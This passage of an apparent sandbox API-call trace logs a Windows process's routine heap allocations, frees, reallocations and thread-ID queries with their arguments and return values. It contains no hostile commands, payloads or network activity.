(Heap=0x2ad0000, Flags=0x0, Ptr=0x33de6c8, Size=0x14) returned 0x3183920 [0076.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de718 | out: hHeap=0x2ad0000) returned 1 [0076.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e48 | out: hHeap=0x2ad0000) returned 1 [0076.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183920 | out: hHeap=0x2ad0000) returned 1 [0076.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34afee0 | out: hHeap=0x2ad0000) returned 1 [0076.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84500, Size=0x20) returned 0x30282d8 [0076.109] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84638, Size=0x20) returned 0x3028300 [0076.109] GetCurrentThreadId () returned 0x9b0 [0076.109] GetLastError () returned 0x0 [0076.109] GetCurrentThreadId () returned 0x9b0 [0076.109] GetLastError () returned 0x0 [0076.109] GetCurrentThreadId () returned 0x9b0 [0076.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0076.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84530 | out: hHeap=0x2ad0000) returned 1 [0076.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3304e78 [0076.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x33f87d0 [0076.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f87d0 | out: hHeap=0x2ad0000) returned 1 [0076.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84428 | out: hHeap=0x2ad0000) returned 1 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845a8 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c845a8 | out: hHeap=0x2ad0000) returned 1 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84638 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84638 | out: hHeap=0x2ad0000) returned 1 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.110] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84680 | out: hHeap=0x2ad0000) returned 1 [0076.110] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84650 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84650 | out: hHeap=0x2ad0000) returned 1 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3304e78 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.111] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262e58, Size=0x1) returned 0x33de6a8 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84608 | out: hHeap=0x2ad0000) returned 1 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.112] GetCurrentThreadId () returned 0x9b0 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.112] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84620, Size=0x20) returned 0x3028238 [0076.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a18ef0 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a19658 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac1030 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1030, Size=0xb8) returned 0x325ef30 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ef30, Size=0xe8) returned 0x33d0fc0 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d0fc0, Size=0x120) returned 0x2c374c0 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x33e7650 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3304e78 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3304e78 | out: hHeap=0x2ad0000) returned 1 [0076.121] GetCurrentThreadId () returned 0x9b0 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e7650 | out: hHeap=0x2ad0000) returned 1 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x31de958 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a20 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838a0 [0076.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a20 | out: hHeap=0x2ad0000) returned 1 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0076.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84680, Size=0x20) returned 0x3028558 [0076.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x483) returned 0x3304e78 [0076.121] GetCurrentThreadId () returned 0x9b0 [0076.121] GetLastError () returned 0x0 [0076.122] GetCurrentThreadId () returned 0x9b0 [0076.122] GetLastError () returned 0x0 [0076.122] GetCurrentThreadId () returned 0x9b0 [0076.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6a8 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 